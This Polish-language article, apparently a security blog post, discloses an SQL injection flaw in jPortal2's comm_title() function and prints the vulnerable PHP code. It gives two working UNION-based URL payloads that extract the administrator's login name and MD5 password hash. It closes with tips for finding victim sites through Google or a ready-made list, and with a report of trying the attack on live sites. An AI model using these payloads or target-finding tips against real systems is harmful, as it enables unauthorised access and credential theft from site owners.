System jPortal2 podatny na SQL Injection
jPortal to system pozwalający na prowadzenie własnego portalu/vortalu tematycznego bez praktycznie żadnej wiedzy na temat tworzenia stron. W ostatniej wersji tego systemu występuje błąd pozwalający przeprowadzić atak typu SQL Injection.
SQL Injection to atak powodujący zmianę zapytania SQL, który pozwala zmodyfikować dane dostępne w bazie danych.
Błąd występuje w ostatnim Securite Pack systemu jPortal2 a dokładnie w funkcji comm_title() znajdującej się w pliku como.inc.php. Funkcja przedstawia się następująco:
function comm_title() {
global $news_tbl, $art_tbl, $PHP_SELF, $id, $what, $php_tbl;
if($what==’news’) $tbl = $news_tbl;
if($what==’article’) $tbl = $art_tbl;
if($what==’script’) $tbl = $php_tbl;
$query = „SELECT * FROM $tbl WHERE id=$id”;
$result = mysql_query($query);
$r = mysql_fetch_array($result);
$title = $r[‚title’];
$title = stripslashes($title);
echo „Komentarze do \”$title\””;
}
Jak widać w funkcji brakuje analizy przesyłanych informacji do zmiennej $id co pozwala na wykonanie SQL Injection.
Przykładowe zapytanie, które należy wpisać np. bezpośrednio w adresie URL przeglądarki wygląda następująco:
http://[adres serwera]/comment.php?what=news&id=[id istniejacego newsa] and 1=0 union (select null, null, nick, null, null, null, null, null, null, null, null, null from admins limit n,1)
gdzie w miejsce [adres serwera] należy wpisać adres serwera z działającym systemem jPortal2, natomiast w [id istniejacego newsa] wpisujemy numer identyfikacyjny istniejącego newsa.
Powyższe zapytanie powoduje wyświetlenie na stronie nazwę konta administratora. Warto również wiedzieć, jakie hasło posiada ów administrator. A zatem wystarczy wywołać poniższe zapytanie:
http://[adres serwera]/comment.php?what=news&id=[id istniejacego newsa] and 1=0 union (select null, null, pass, null, null, null, null, null, null, null, null, null from admins limit n,1)
Co w efekcie wyświetli nam na stronie hasło administratora zapisane w postaci md5.
Reasumując nie jest to jedyny błąd, jaki występuje w tym systemie – przykładowo poprzednim razem błąd SQL Injection występował w funkcji art_print().
System jPortal2 działa aktualnie na około 1000 stronach. Większość z nich można znaleźć przy pomocy wyszukiwarki Google bądź skorzystać z gotowej listy stron wykorzystujących system jPortal2 – na pięć losowo wybranych stron z tym systemem tylko trzy z nich były podatne na wyżej opisane błędy. Powodem tego może być starsza wersja bazy danych MySQL – operator UNION dodany został dopiero w wersji MySQL 4.x, bądź zmiana nazwy tabeli admins na inną.